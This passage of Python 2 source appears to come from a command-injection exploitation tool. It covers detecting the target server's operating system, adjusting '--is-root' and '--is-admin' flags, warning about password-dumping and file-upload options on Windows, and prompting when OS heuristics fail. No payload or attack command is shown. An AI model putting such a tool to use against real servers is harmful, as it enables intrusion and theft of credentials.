                  err_msg = "'" + python_dir + "' is not a valid answer."  
                  print settings.print_error_msg(err_msg)
                  pass
              settings.USER_DEFINED_PYTHON_DIR = True

            # Check for wrong flags.
            if settings.TARGET_OS == "win":
              if menu.options.is_root :
                warn_msg = "Swithing '--is-root' to '--is-admin' because the "
                warn_msg += "target has been identified as windows."
                print settings.print_warning_msg(warn_msg)
              if menu.options.passwords:
                warn_msg = "The '--passwords' option, is not yet available for Windows targets."
                print settings.print_warning_msg(warn_msg)  
              if menu.options.file_upload :
                warn_msg = "The '--file-upload' option, is not yet available for windows targets. "
                warn_msg += "Instead, use the '--file-write' option."
                print settings.print_warning_msg(warn_msg)  
                sys.exit(0)
            else: 
              if menu.options.is_admin : 
                warn_msg = "Swithing the '--is-admin' to '--is-root' because "
                warn_msg += "the target has been identified as unix-like. "
                print settings.print_warning_msg(warn_msg)  
            
            if found_os_server == False and \
               not menu.options.os:
              # If "--shellshock" option is provided then,
              # by default is a Linux/Unix operating system.
              if menu.options.shellshock:
                pass 
              else:
                warn_msg = "Heuristics have failed to identify server's operating system."
                print settings.print_warning_msg(warn_msg)
                while True:
                  question_msg = "Do you recognise the server's operating system? "
                  question_msg += "[(W)indows/(U)nix/(q)uit] > "
                  sys.stdout.write(settings.print_question_msg(question_msg))
                  got_os = sys.stdin.readline().replace("\n","").lower()
                  if got_os.lower() in settings.CHOICE_OS :
                    if got_os.lower() == "w":
                      settings.TARGET_OS = "win"
                      break
                    elif got_os.lower() == "u":
                      break
                    elif got_os.lower() == "q":
                      raise SystemExit()
                  else:
                    if got_os == "":
                      got_os = "enter"
                    err_msg = "'" + got_os + "' is not a valid answer."  
                    print settings.print_error_msg(err_msg)
                    pass

            if not menu.options.os:
              if found_server_banner == False:
                warn_msg = "The server which was identified as " 
                warn_msg += server_banner + " seems unknown."
                print settings.print_warning_msg(warn_msg)
          else:
            found_os_server = checks.user_defined_os()
        except KeyError:
          pass

        # Charset detection.
        requests.charset_detection(response)